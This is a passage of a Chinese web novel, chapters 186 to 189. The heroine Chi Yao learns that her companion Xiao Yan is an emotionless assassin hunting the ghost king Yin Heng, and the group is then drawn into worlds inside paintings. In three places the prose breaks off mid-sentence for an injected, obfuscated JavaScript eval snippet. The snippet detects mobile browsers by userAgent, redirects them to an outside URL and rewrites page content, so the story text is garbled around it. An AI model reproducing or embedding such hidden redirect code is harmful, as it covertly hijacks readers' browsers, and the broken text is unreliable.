踏上阶梯,萧俨推开了梦之画廊的大门,率先走进去,萧燃跟在他身后,也走了进去。 池遥深吸一口气,在心中默念曲卓的名字。 紧接着,迈步,进入大门。 186. 梦之画廊1 梦之画廊内部共三层,穹顶之上的水晶吊灯散发出柔和的白光,洒过二楼和三楼的雕花长廊,落在进入一楼大厅的每一个人身上。 画廊大厅面积不大,极高的穹顶衬得这片空间极为宽敞舒适。正对大门的是空无一人的接待台,接待台侧后方是一长排供休憩用的座椅。 大厅正前方和两侧各有一个艺术品展厅入口,此时大门紧闭,似乎还没到对外开放的时候。 一时间,池遥有些拿不定主意,到底要不要继续向前走。 景点内部规则完全由景点负责人制定,有香林山景点负责人那种热情好客,先集中介绍再安排旅人进入景点的类型,也有琥洋馆负责人那种只要踏足景点范围就不由分说拉入景点内的类型。 只不过,既然他们进入梦之画廊时,所处的空间没有扭曲,就证明他们还没有正式踏足景点区域吧? 正在思考这个问题,远处突然响起一个清脆的女声。 “几位,欢迎来到梦之画廊。” 一位穿着西装制服裙,留着大波浪长卷发的女人不知何时出现在了他们面前。 “我是梦之画廊景点的负责人,凌薇。” 与池遥先前见过的负责人们都不同,之前见过的负责人身上多多少少会有些古怪,非人类的部分,但凌薇看起来完全就是一个再普通不过的人类女性,与池遥认知中精致干练的都市丽人完全一致。 若是她不说,恐怕没人会觉得面前的人竟然不是旅人,而是景点负责人。 “梦之画廊景点至少满五人才能开放,几位一共是......” 凌薇的眼神落在池遥肩上的小猫身上,盯着小猫看了一会儿,才继续说道。 “一共是四位,这位小猫咪可以变回人形吗?” 苏榕似乎叹了口气,轻盈地从池遥肩膀上跳下来,落地瞬间恢复了少年身形。 池遥忽然明白苏榕为何喜欢以猫咪形态待在她身边了。 她身边的萧俨兄弟身形极高,目测大概在一米九左右。 而苏榕年纪还小,成为天赋者时身体尚未发育完成,此时的身高堪堪超过一米七,站在他们身边显得很不协调。 “画廊里有不能使用能力的规定吗?” 恢复人形后,苏榕的脸色不太好,语气也有些冲。 “没有,这只是我个人的询问而已。”凌薇也愣了一下,回答。 景点满五人才能开启,而池遥,苏榕,萧俨,萧燃只有四个人,难不成现在还无法开启景点吗? “现在是还要再等一个人才能开启景点吗?”池遥忍不住开口问。 “不,人已经够了。” 凌薇摇摇头,转过头看向刚刚还空无一人的长椅区,此时,一排长椅尽头处,显现出一个漆黑的身影。 “在你们到来之前,已经有人先到这里了,一直在等待其他旅人来开启景点。” 池遥也扭过头,顺着凌薇的视线,看向远处的人。 啊...... 不知为何,心头竟然涌上一股难言的熟悉感。 果然是他。 数月不见,再看到那个人的时候,他的状态似乎比上次见面时更差了。 远处的人,一身宽大的黑袍把他从头到脚遮挡得严严实实,五官隐没在兜帽里,只露出削尖的下巴,面色苍白。 绸缎般的黑发自兜帽中散出来,垂落在身前,微微晃动。 只需一眼,池遥就立刻认出了对方,内心涌起一股难以形容的欣喜。 殷蘅。 她完全没想到,自己居然会在这个景点与殷蘅重逢。 然而,她还没来得及开口,余光突然捕捉到了一个消失的影子。 看到殷蘅身影的瞬间,萧俨立刻发动了能力,身形从原地消失,化为一束残影,飞快逼近原处的人。 就差一点了! 他追着这个人去到了这么多世界,总算能—— 然而,还没碰到对方,殷蘅身上突然分裂出一个萦绕着黑气的半透明影子,挡在了萧俨面前,与萧俨缠斗在了一起。 见这一情况,池遥本能地要冲上去,却被一只手拦住了。 一直不主动与她接触的萧燃伸出手,挡住了她。 “别碍事。” 他的声音很冷。 池遥死死盯着面前的人。 她的手已经抽出了常用的刀,死死攥在手里,一旦萧燃有任何动作就立即出手。 然而,萧燃并没有和她对战的意思,见池遥不再上前,就把手放下了。 萧俨身手极快,招招冲着死穴,追求一击必杀,可与萧俨对峙的并非普通人类,而是殷蘅驱使的魂魄,被萧俨打散后迅速恢复原形。 就在萧俨与魂魄交战的同时,殷蘅的身体仍旧在分裂一个又一个黑影。 一切发生得实在太快了。 池遥根本来不及反应,只能呆呆地与萧燃和苏榕站在一边,盯着远处的两个人。 这两个人要打到什么时候? 萧俨身手不凡,速度奇快,殷蘅虽然身体素质大不如萧俨,但却能驱使多个灵魂拦在身前阻截住萧俨。 这两个人对上,还真看不出谁更强。 池遥本以为这场对战会持续很长时间,然而,耳边突然传来清脆的击掌声。 “啪。” 凌薇用力一拍手,声音冷冽。 “停手。” 话音刚落,只见远处的二人仿佛被什么无形的东西束缚住,身形僵在原地,无法动弹,过了几秒后才恢复正常。 负责人在景点内有绝对控制权,这大概是负责人的能力,两人同时停了下来,不再出手。 萧俨迅速闪身回到萧燃身边,殷蘅则收回放出的魂魄,慢慢来到了众人面前,他这时才看到与萧俨和萧燃站在一起的池遥。 “我不管你们之间有什么恩怨,只要在梦之画廊景点内部,就不能对彼此大打出手,这是景点内的规矩,必须遵守。” 见所有人都聚集过来,凌薇才终于开口。 说完这句话,她后退了几步。 凌薇只说不允许打斗,没说不能吵架,此时后退正是留出给他们沟通交流的时间。 池遥侧过头,看向一旁的萧俨。 在鲸都的时光,池遥与萧俨逐渐熟悉,告诉过萧俨很多往事。 可从始至终,她从未对萧俨说过自己与殷蘅之间的往事。 而此时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17321857|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,池遥侧过脸,再次认认真真打量着萧俨的面容。 从她的角度,只能看到萧俨的侧脸,萧俨想必是能感觉到她的注视的,但却没有像以往一样主动扭过头回应她。 以往挂着轻松笑意的脸,此时褪尽伪装的无害表情,只剩下漠然。 一片近似于冰冷的漠然。 池遥突然有点慌了。 不久前,萧俨还在与她说说笑笑,可此时,面前的人却彻底换了一个模样。 难不成之前一直与她同行的萧俨是假的吗? 从遇到萧俨开始,池遥就知道对方并不简单。 她同样有自己的目的,与萧俨的短暂同行总有分离的时候,因此,她并不深究萧俨刻意隐藏的秘密。 是她做错了吗? 池遥收回视线,看向相隔四五米,站在自己对面的殷蘅。 殷蘅同样在注视她。 数月不见,他对面前的女孩仍旧有印象,但却不记得她的名字了。 连想主动对她说话,都不知道该如何开口了。 “到我身后来。” 最终,他主动放下兜帽,露出一双锋利俊美,却盛满疲惫的双眼。 池遥沉默了片刻,没有动身。 她不清楚萧俨和殷蘅之间的恩怨,也不是很想介入他们之间。 “那个人是新都王族派来追杀我的杀手。” 见池遥不动,殷蘅转而看向萧俨,一语道破他的身份。 “他是追着我来到鲸落世界的,之前一直追踪我去了很多小世界,应该也去过你的故乡。” “我不清楚你和他们的关系,但这两个人都是新都王族培养的杀手,都患有情感感知障碍,他们根本没有常人该有的感情。我想......你至少该知道这些。” 话音刚落,池遥拉着苏榕的手,窜到殷蘅身后,与萧俨萧燃二人相对而立。 然而,见到池遥的选择,萧俨却垂下头,轻声笑了。 这一次,仔细观察萧俨的表情,池遥才终于发现,萧俨的动作神态与普通人有极为微小的差异。 大多数人由情绪支配面部表情,伤心了会哭,开心了会笑。 但萧俨没有感情,也难以感知他人的感情,因此,他的表情反馈总是有一个极短的延迟时间。 他无法将自身情感与面部表情结合在一起,因此往往有一个观察,思考的前置阶段,才做出相应的表情。 由于无法察觉细微情感,因此,萧俨的笑容总是像设定好的程序一般,无论面对什么情况,只要他判断自己该露出笑容,就会露出一模一样的笑意。 他难以察觉到同样笑容中的微妙不同,也很难表现出这种细微差别。 久而久之,这种程序化的笑容如同一张假面,死死焊在了他脸上。 而此时,那双毫无感情的异瞳漠然地盯着池遥,上半张脸僵硬冷漠,下半张脸却带着热情的笑意。 萧俨带着无比割裂的表情,笑着冲池遥问好。 “啊呀......先前忘记自我介绍了,池遥小姐。” “重新介绍一下,我是来自新都王族的杀手,萧俨。” “感谢有您引路,我终于找到鬼王殷蘅了。” 187. 梦之画廊2 池遥面色惨白。 此时,定定站在她对面的人,正带着毫无感情的笑容,诉说着不存在的谢意。 眼眶烫得惊人,神经酸胀不堪,她控制不住,隐约觉得自己似乎在发抖。 然而,尽管如此,她还是死死盯着对面的人。 她只有一个问题要问。 “所以之前说的话,那些约定,都是假的吗?” 她真的以为未来会在那个名叫新都的地方与萧俨重逢。 萧俨说起的启月节,池遥是真的很想去看看。 他们说起过的美食,美景,风土人情,曾经在某个瞬间,池遥真的产生过与萧俨一起去体验的期许。 现在,全部都被打破了。 然而,萧俨只是盯着她的眼睛,顿了顿,回答道。 “当然是假的啦。” “为什么要露出这种表情呢?池遥,我对你已经很仁慈了。我没有要你的命,只想通过你找到殷蘅,甚至给了你相应的报酬。先前虽然很想要杀了你,但这不是没动手吗。” 池遥的身体猛地一颤。 在听到萧俨的回答时,她才终于意识到了一个事实。 对啊。 这个人是不存在感情的啊。 他看不懂也不屑于读懂池遥的复杂心理,只会从他人面部表情分辨最简单的情绪,以此为依据做出反馈。 正因如此,他并没有说谎。以他的理解,他是真的不懂为什么池遥会产生愤怒的情绪。 身体抖得停不下来。 原本站在池遥斜前方的殷蘅突然后退一步,手臂抵在池遥颤抖个不停的胳膊上。 隔着一层衣料,池遥仍旧能感受到他身上冰冷的温度,简直不像是个活着的生物。 然而,她却在这种温度中慢慢冷静了下来。 等一等。 萧俨的话中似乎有她没意识到的线索。 他曾经想要杀了她? 什么时候? 在鲸都见面的时候,萧俨一直对她和颜悦色,应该从未对她产生过杀意才是啊。 难道说...... 池遥呼吸一滞。 难不成,他们在更早以前就就见过吗? 陡然间,池遥突然回想起了自己在上一个世界的黑市乐园内部时,感受到的杀意。 当时,自己在黑市期间,一直能够感受到不知何人的杀意。 然而,她却从来没有见过对方的踪迹。 再后来,她依旧时不时就有一种被窥视的感觉,但找到苏榕之后,她一直以为暗中窥探她的人是这只小猫,就不再思考这件事了。 可仔细想想,这种推测并不合理。 苏榕只是嘴上对她不客气,口嫌体正直,并不会真的对她产生强烈的杀意。 而萧俨对殷蘅出手的瞬间,池遥清晰感受到了萧俨身上强烈的杀意。 与她在上一个世界感受到的几乎一致。 自己在上一个世界就被萧俨盯上了? 萧俨为什么放弃了杀她,转而伪装成无害的样子接近她? 她想不通。 心中越来越冷。 “说完了吗?现在可以开始打卡了吗?” 见他们不再开口,凌薇在一旁开口问。 几人神色各异,纷纷点头。 “那么跟我来。” 凌薇打了个响指,清脆的响声中,原本紧闭的几个展厅大门骤然打开。 “一楼展厅从现在开始正式开放,各位可以随意进去观赏。观赏时间为一小时。一小时后,各位将会进入到随机画中世界。破除一个画中世界后会进入到下一个画中世界,循环往复。” “每通过一个画中世界就会积攒两小时的休息时间。可以通过兑换休息时间进入到无害的画中世界进行休整。如果在画中世界死亡则会被同化为画中角色,永远被困在画中世界。” “从进入画中世界算起,只要在画中世界存活七十二小时即可成功打卡。” “接下来,大家可以去展厅欣赏画作了。” 凌薇话音一落,众人四散开来,朝着不同的展厅走去。 萧俨和萧燃一同走向了中间的展厅,而殷蘅则独自一人走进了最左侧的展厅。 池遥和苏榕停在原地,犹豫不决。 “我先去那边了。” 苏榕指了指无人的右侧展厅,池遥点点头,盯着苏榕的背影出神几秒,低头在手表上设置了一小时倒计时,转过身,追上了殷蘅的背影。 比起装潢繁杂奢华的其他几个展厅,左边的展厅则以清新的白色调为主,长廊两侧挂着大小不一的画作,大多是静物和风景画,而长廊正中间的长台上则摆放着一长排花盆,花盆内种植着颜色不一的花,香气柔和,沁人心脾。 每隔一段距离,设置了简易的白色长凳,可以坐在长凳上观赏画作。 既然画中世界开放前,留给了他们一段观赏时间,显然一会儿要面对的画中世界和此时挂在长廊内的画作有关,因此,池遥只能尽可能记住眼前每一幅画作的细节,并且逐字阅读画作下的注解。 殷蘅与她只相隔几步的距离,二人没有说话,此时紧迫的一小时想必也没办法留出给他们叙旧的时间,只能在同一片空间里,互不干扰地观察眼前的画作。 倒计时还剩十五分钟时,池遥终于看完了左侧展厅内所有作品,快步来到中央展厅,抓紧时间在十五分钟内尽可能多地记住几幅作品。 与整体格调清新,色彩绚丽的左侧展厅不同,中间的展厅陈饰华美,连穹顶之上都是着神话背景的巨幅画作。 在这样奢华而庄严的氛围中,中间展厅的画作大多宏大华丽,以精美生动的肖像和神话,宗教主题为主。 很快,池遥的手腕传来一阵震动。 与此同时,整个一楼空间内都响起了凌薇的声音。 “观赏时间结束,各位即将进入画中世界,祝各位好运。” 强烈的眩晕感席卷了池遥的意识。 …… 一阵无法控制的晕沉中,萧俨睁开了双眼。 视野尚未清晰,耳边已经传来激烈的呐喊声,马匹鸣叫声,金属武器相接的清脆撞击声,以及锐器刺入人体发出的沉闷响声。 不等他看清周围的一切,常年经历险境的神经已经做出了危机预警,他本能地伸出手做出格挡动作,用手臂挥开朝着他飞来的长箭,重重地喘了一口气。 好一会儿,视线总算恢复了正常。 影影绰绰,并不清晰的视野里,出现在他面前的是一个高大健硕的男人。 沉重的金属头盔将他的脑袋完全包裹住,脑后处延伸出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17327454|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一片鸡冠形的彩羽。 此人浑身上下只在脖颈处绑着一条红色披肩,健硕的肌肉袒露在外,一只手臂上绑着一面沉重的盾牌,另一只手握着一把长刀,正朝着对面的敌人发出激烈的呼喊。 萧俨看向周围。 果然,他的周围全是类似打扮的士兵,正集结在一起,挥起手中的武器,嘶喊声刺耳激烈。 而对面与他们交战的士兵打扮与他们相似,很难通过外表和着装判断阵营。 头顶的箭像雨点一样朝着他的方向刺来,萧俨发动能力,极速后撤,游刃有余地穿梭在战场之中。 这显然是一副战争画作。 究竟是哪幅画? 他拼命调动记忆,在脑海中拼命回忆一小时前看到的全部内容。 而此时,突然有些不该属于战场的声音,被呼啸的风声递到萧俨耳边。 什么情况? 为什么会有女人的声音? 女人的喊声,孩童的哭叫声越来越大,逐渐盖过士兵们的叫声。 萧俨朝着声音的方向疾速冲去。 很快,他看到了一个几乎不可能在战场上出现的奇景。 在对立的两军中间,是一群手无寸铁,怀抱着孩子的女人。 这些女人冲入战场,无暇顾及怀中的幼子,英勇地张开双臂,挡在两方将领正中央。 有人举起怀中的婴儿,有人阻拦住前进的士兵。 不久前还在激烈交战的士兵们,被涌入战场中央的女人们搅乱,分开。 萧俨收回目光,后撤几步。 他想起来了,这幅画他在展厅里见过。 只要是见过的画作,就一定有办法破除。 —— 睁眼望去,是一大片郁郁葱葱,层层叠叠,堪称瑰丽的绿意。 到了新环境,苏榕第一时间动用能力,变成了一只纯白色的小猫。 肉垫踩在落叶堆积的地面上,只发出了一点细小的摩擦声,他尽可能收敛声音,向前走去。 穿过茂密的丛林,有一束光自林中的空洞迸射而出,照亮了一席鲜明的粉色裙摆。 小猫抬起头。 在他前方不远处,一颗巨大的古树下,一个穿着繁复的粉色蓬蓬裙的女人坐在秋千上,在欢快的嬉笑声中,被身后的男人推向半空中的阳光之下。 她头戴小巧的白纱帽,脖颈处系着繁琐的白纱制领结,牛奶般白皙的皮肤在阳光下闪烁着金子般的光芒。 荡至最高处,女人惬意地抻直双腿,绷起脚背,精致的鞋子自脚上脱落。 与此同时,就在飞起的秋千下,出现了另一个影子。 一个身穿贵族服饰的男子倒在女人脚下,着迷般望着秋千上的女人。 苏榕一边观察四周,一边努力回想自己看过的画作,忍不住向前走了两步。 “是谁?” 然而,下一秒,耳边却出现了女人的喊声。 带着笑意的脸上,一双眼睛陡然变得警惕而凛冽,携带着杀意,扫向了萧俨的方向。 视线所过之处并无人影,只有一只浑身纯白的小猫,坐在草地上悠闲地舔爪子。 看清了萧俨的外形后,女人再次弯起眼睛,再次变回慵懒惬意的模样。 “原来只是一只猫啊,那就没事了......” 188. 梦之画廊3 明亮的光线打乱了沉寂的意识。 萧燃睁开眼,刺目的天光展现在他面前。 他此时正伫立在一块悬崖巨石之上。 头顶是银白色的天光,云雾在天幕之上拉扯成线,远处的山峦也蒙上了一层浅淡的,轻纱似的雾气,将整片视野都变成柔和的亮白色。 低头时无法望见悬崖下的景色,只能见到丝线般轻薄柔和的雾气,将危机四伏的周围环境衬托得云山雾罩,犹如仙境。 与此同时,心底似乎传来微弱的声音。 “跳下来吧......” 隐隐拨动他的心弦。 “不会有事的......” 青年再度低头望去。 的确,他望不见这处悬崖的深度,有云雾的阻隔,脚下或许只是个一两米的断崖,也有可能是几百米的深窟。 可是,在这种情况之下,怎么可能遵从心底的蛊惑声,真的选择跳下去呢? 萧燃抬手,按住剧烈跳动的心脏,克制住不由自主前进的身体,拼命后退。 —— 池遥望着周围的景色,一时无言。 天幕是亮丽的蓝紫色,细看还能看到夜空中的星星。 只不过,天空中的星点仍是金色的光点,却在光点之外延伸出几片白色的透明羽翼,远远望去,如同从天际坠落的睡莲。 夜色帷幕中的星斗,全部变成了莲花形状。 远处的深巷是一片无法窥探的漆黑,仿佛有什么猛兽潜藏在内部张牙舞爪,隐隐令人畏惧。 池遥收回视线,看向眼前的景物。 在她面前,数张木质小圆桌一字排开,不少人坐在桌边等候,有身穿白衣的侍者为他们端上咖啡。在斜向下张开的屋檐下,扩张出一个静谧的空间。 屋檐下吊着一枚小小的吊灯,散发着柔和温暖的黄色光线,像阳光一般,洒遍这间夜幕下的露天咖啡馆。 连带着脚下的碎石路面,也在灯光的照耀下反射出五彩斑斓的光。 池遥愣愣地望着眼前的景色。 “......好美。” 柔和的黄蓝色调在眼前交织,融合,共同构建成为了眼前的静谧景象。 池遥试探着抬起脚,向前迈了一步。 “啪” 突然的动作似乎打破了眼前的平静。鞋面一落地,原本静止的景象突然活了过来。 她感受到了夜里凉爽的风,咖啡豆的香气,咖啡馆内人们快活的交谈声。 与此同时,她看到了在咖啡厅内忙碌的侍应生猛得抬起头,目光聚焦在她身上,露出了解脱般的神情。 什么情况? 池遥愣在原地,眼睁睁看着白衣女子朝她跑来。 “终于来了!” 对方扯起池遥的手,朝着咖啡馆跑去。 “终于可以换班了!夜间的经营就交给你了!” “一定要把每一杯咖啡递到客人手上,不过递咖啡之前,一定要看好对方是不是真正的客人才行啊!” 池遥一头雾水:“还会有其他人混进来伪装客人吗?” “当然啦,那边巷子里的鬼怪也会伪装成客人的模样,你要注意分辨。” “那要怎么分辨呢?” 池遥忍不住问她。 “那就要靠你自己啦。” 果然,对方是不会提供给她任何线索的。 很快,原本的侍应生离开,池遥换上侍应生的服装,走进了咖啡馆。 如果先前的侍应生说的没错,那么她在这个画中世界的任务就是给“正确的”客人端上咖啡。 可是问题就在这里。 她该怎么分辨出咖啡厅里真正的客人呢? 首先,凌薇说过,他们进入的画中世界都是依据展厅内部的画作形成的,因此,在端上咖啡之前,她应该先搞清楚哪些客人是真,哪些客人是假才行。 她慢吞吞地回到咖啡馆,换上侍应生穿的白色围裙,坐在座位上的客人们似乎没有关注到此时已经更换了一名新的侍应生,还沉浸在交谈氛围中。 池遥沿着咖啡桌边走了一圈,一路默默观察周围的客人。 此时,共有七桌客人,只有两桌客人桌上摆放了咖啡。 因此,剩下的五桌客人,应该都在等着她端上咖啡。 可是,该怎么确定这些人是真正的客人? 池遥的目光落在客人们的身上。 仔细一打量,她才发现不对劲。 这些客人的身形十分朦胧,大多为黄黑相见的打扮,看不清面部表情,只有一个影影绰绰的面孔。 他们的身形单薄极了,仿佛是由色块构成的。 也是,毕竟是在画中嘛。 池遥很快就接受了这些画中人的设定,不再过多关注他们的外表。 只不过,如果不能用外表区分,该怎么办? 时间一分分流逝,池遥仍旧没有想到解决办法。 幸好她的任务似乎是没有时限的,无论过去多久,咖啡馆里的客人都只坐在座位上交谈,没有一个人催促侍应生上咖啡。 在这段时间内,又多坐了两桌客人,池遥发现,新来的客人并不会招手唤她点单,而是直接找位置坐下等待。 而她手边的咖啡杯也同样没有标注里面的咖啡种类。 想必是这间咖啡馆只提供一个种类的咖啡吧? 至少她不用在这一方面费心了。 池遥在心里叹了口气,目光投向了街道边走过的路人。 上一位侍应生说过,巷子里的鬼怪也会冒充成客人进入咖啡馆,那么是不是要重点排查从小巷方向走来,进入咖啡厅的客人呢? 可是,在她换班之前,咖啡馆内就坐下的五桌客人该怎么分辨呢? 思维再次停滞。 难道是从这个画中世界对应的画作入手? 眼前的景色十分有特点,来到这个世界的第一眼,池遥就立刻想起了对应在展厅内的画作。 如果她没记错,原作中也画了咖啡馆内的客人。 难不成,所谓“真正的”客人就是在画作中出现的客人? 可是,在池遥的记忆里,这幅画是一幅风景画,主要场景是夜空,街道,与自己身处的咖啡馆。 而咖啡馆中的客人,只是画作的一个小角落。 尽管她有意识地仔细观察了每一幅画,可她的记忆也是有限的,没办法记下来画作中的每一个细节,更记不住画中究竟出现了多少客人,每一个客人坐在什么方位。 想到这里,池遥心中有些挫败。 明明找到了办法,却因为自己的记忆力而无法实现。 她长叹了一口气,拼命调动记忆,试图多回忆一点这幅画作的细节。 如果她记得没错,咖啡馆最外侧的一列桌椅似乎是没有客人的。 那么,坐在最远处,浑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331232|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身漆黑的客人第一个排除。 除此之外...... 脑海里只有一片模糊的虚影,池遥此时开始后悔,自己当时观察画作还是不够细心,大部分时间都在阅读作品下方的说明,而没有专心欣赏画作。 只不过,如果退回到画家画这幅画时的方位,用与画家相同的视角去看咖啡馆的全景,会不会更容易分辨一些? 想着,池遥转身出了咖啡馆。 随后,正面对着咖啡馆,一点点向后退。 很快,咖啡馆的全景铺满了整个视野。 池遥继续向后退。 渐渐地,她望见了咖啡馆二楼的屋檐,路边闲逛的行人。 原作中也出现了这部分吗? 她仔细回想一番,答案是肯定的,因此继续向后退去。 没关系的。 只要能找到画家当时的方位,用同样的视角观察面前的景物,说不定她也会找回观察原作时的回忆。 池遥一边安慰自己,一边观察四周。 此时,漆黑的小巷再度露出了一部分,她望见了周围建筑的尖顶。 蓝紫色的夜空之上,仿佛正在坠落的莲花形星斗。 咖啡馆对面的街道上,还在停业的店铺玻璃内透出暖黄色的灯光。 差不多了。 池遥深吸一口气。 最后,后退了一步。 然而,这一后退,却撞到了什么东西。 她听见身后传来了一个男人惊慌的抽气声,立刻转过身。 方才朝这边张望的时候,池遥很确定,这条街道上一个人都没有。 那么,此时在她身后的又是什么人? 然而,此时,在池遥背后的,是一个面庞瘦削而沧桑的男人。 他坐在一张小凳子上,面前是一块与池遥差不多高的画架,男人手中攥着画笔,戒备地看着她。 这是一个身形瘦高,胡子拉碴的男人,乍一看像一位中年人,但双眼却泛着锃亮的光,他或许比外表年轻一些。 与男人对视,池遥愣了一下。 她从未见过这个男人,却对他有印象。 在展厅时,她曾经看过一张画家的自画像,与面前的人长得一模一样。 不仅如此,如果她没记错,这位画家正是她身处的画作的创作者。 那么...... 池遥望向他面前的画布。 坐在这个方位,观察着咖啡馆,面前还支着画架,池遥已经能猜到画布上究竟是什么作品了。 “先生您好,我是这间咖啡馆的店员。” 她面带微笑开口。 “我想自费请您喝一杯咖啡,如果可以的话,可以让我看看您画布上的作品吗?” 不等画家反应,她小跑回到咖啡馆内,端着托盘快步走出来,步子很稳,来到画家面前时,托盘内的咖啡还保持着原样,一滴都没有洒出来。 “谢谢。” 画家站起身,接过了池遥手中的咖啡,而池遥终于可以凑到画布前,重新观察自己记忆里的作品。 画布上的画作完成了大半,与池遥记忆里已完成的作品相比略显粗糙,但已经用简洁的笔触勾勒出了咖啡馆内的客人。 池遥认真地记住了每一位客人的位置,在心里反复重复几遍,确保记忆没有缺漏,才收回咖啡杯,朝着咖啡馆走去。 终于可以离开第一个画中世界了。 189. 梦之画廊4 一条横亘整个手掌的裂口出现在掌心,涌出的鲜血弄脏了苍白的手心。 而掌心的鲜血正中间,是一根点燃的香烟。 另一只手拾起掌心的香烟,颤巍巍地递到手边的头骨口中。 做完这个动作,周围的光线猝然消失,刚刚围绕在身边的一切都不复存在。 紧接着,周围的景物在漆黑中重新变形,仿佛一片混杂的色块逐渐找回各自的形态,重新拼合在一起,很快就展现出一片全新的景象。 终于通过第一个画中世界了。 身体发沉,眼前的景物一阵晃动,原本静止的草木突然之间像水一样流动起来,搅得人头晕眼花。 殷蘅抬手抵住胀痛的太阳穴,闭上眼,长长吸了一口气,又无力地吐出来。 他累极了。 这种疲惫并非源自于身处的画中世界,也并非源自任何外物,但只要他还存在,这种永无止境的疲惫和痛苦就会如影随形,犹如黑沉沉的雾霭一样积压在他的体内。 更令人绝望的是,只要他还“存在”,就注定背负着无尽的痛苦,拖着躯体向前走。 悲观的想法在脑海中划过几秒,很快,又随着他睁眼的动作消失不见。 殷蘅睁开眼睛。 眼前的景物发生了新的变化,此时,他正站在一个狭窄的房间里,房间唯一的光源来自头顶的灯泡,这或许原本是一盏有形状,造型别致的灯,此时却只剩下了灯泡。 在他身侧,是一面巨大的镜子,映照出他苍白的面容。 殷蘅看向镜中,对面眉眼冷冽,神色阴沉的青年也同样掀起眼皮,用沉默而倦怠的目光望向自己。 镜子与自己之间的距离很近,殷蘅心中乱成一团,陡然撞见镜中人,眼神中竟然露出几分错乱的情绪。 他沉默了片刻,才后知后觉意识到,镜中映出的是自己的倒影。 不再看一旁的侧影,殷蘅转过脸。 在他面前,是一张巨大的画架,画布上的画作已经完成了大半。 而沾满颜料的猪鬃笔就握在自己手里。 另一只手上还拿着残留着颜料痕迹的刮刀。 画架另一侧,胡乱摆放着不同色彩的颜料,乱中有序。 殷蘅简单打量了一遍周围的环境,收回目光,仔细观察面前的画作。 这是一幅未完成的自画像。 画中的男人戴着一顶白色圆毡帽,有着亚麻色的胡须,杂草般爬满了他的人中和下颚。鼻梁高耸,线条刚硬,而最重要的眼部则是一片模糊的底色,显然还没有完成。 再往下看,男人穿着一件蓝色条纹状大衣,自画像的背景部分以深青色为主,犹如水波纹一样一圈圈荡开,色彩复杂,层层堆叠,如同薄膜一般将整幅画紧紧包裹住,仿佛在看水中的倒影,呈现出一种波光粼粼的效果。 殷蘅的身体陡然摇晃一下。 他的目光仍紧盯着画作不放,然而,随着视野晃动,画布上的颜料形成的水波纹般的光晕仿佛有生命一般,在画布上不停流动,旋转。 一片晕眩之中,殷蘅将目光转移到画布的肖像空缺的眼部。 画布上仿佛有什么东西紧紧吸附着他,让他的身体不由自主地靠近画布,手执画笔,慢而稳地落在了画布上。 身体不受控制地动了起来,主动补足画中空缺的部分。 殷蘅眸光一暗,紧握着画笔的手掌微微用力,掌心刚刚止血的伤口再度撕裂,流血不止。 掌心的剧痛把他涣散的意识重新拉扯回来,殷蘅用了比平时更大的力气,才拖着自己的头颅,扭到了镜子面前。 这一次,他看清了镜中的人。 镜中人仍旧是自己,然而,他却突然注意到,自己身上的黑色长袍,不知什么时候换成了一套厚实的蓝色大衣。 正是自画像中的男人所穿的衣服。 怎么会变成这样? 短暂的停顿后,殷蘅心中隐隐有所猜测,逐渐放松身体,放松抵抗的力道,身体再次自顾自行动起来,补足了自画像的一只眼睛。 与被水波般的色彩映衬得有些模糊的其他部位不同,这只眼睛分外清晰。 而这只眼中迸射出的光彩,也同样清晰可见。 仿佛画家舍弃了全部,将所有亮点都集中在了这只眼睛上。 眼中的光线与坚定的意志穿透了覆盖整幅画的薄膜,带着骇人的神采,直直与殷蘅对视。 殷蘅胸口一窒。 尽管尚未完成,但只要有一只眼睛在,画布上的肖像图就仿佛活了过来,散发着强烈的生命力,仿佛也在夺取着手握画笔的殷蘅的生命力。 殷蘅忍耐着难以呼吸的剧痛,吃力地转过了头,再次面朝镜子。 这一次,他清晰地在镜中见到了熟悉的眼睛。 原本是自己眼睛的部位,已经被画布上的眼睛代替。 不仅如此,眼周的皮肤正在一寸寸龟裂,自己的皮肤慢慢崩裂,长出了全新的,与画中人一模一样的血肉。 握着画笔的手微微发抖。 殷蘅明白了。 只要放任自己继续画下去,自画像完成之时,自己的容貌也会彻底被替换成画中人的外形。 最坏的可能性,恐怕是不仅被替换外表,连灵魂都被画中人夺舍。 可是,如果不完成这幅画,他又该如何破除这个画中世界? 他暂时还想不到办法。 ...... 眼前的露天咖啡馆变成了一片模糊的色块,色彩迅速变换着,没过一会儿,周围的色彩肉眼可见变得阴暗而沉闷起来。 池遥闭上眼,在心中安慰自己。 已经通关了一个世界,挣到了两小时的休息时间,已经很厉害啦! 自言自语完毕,她才睁开眼睛,打量周围的环境。 她此时位于一处宽敞,光线略显昏暗的室内,坐在一条长桌末尾。 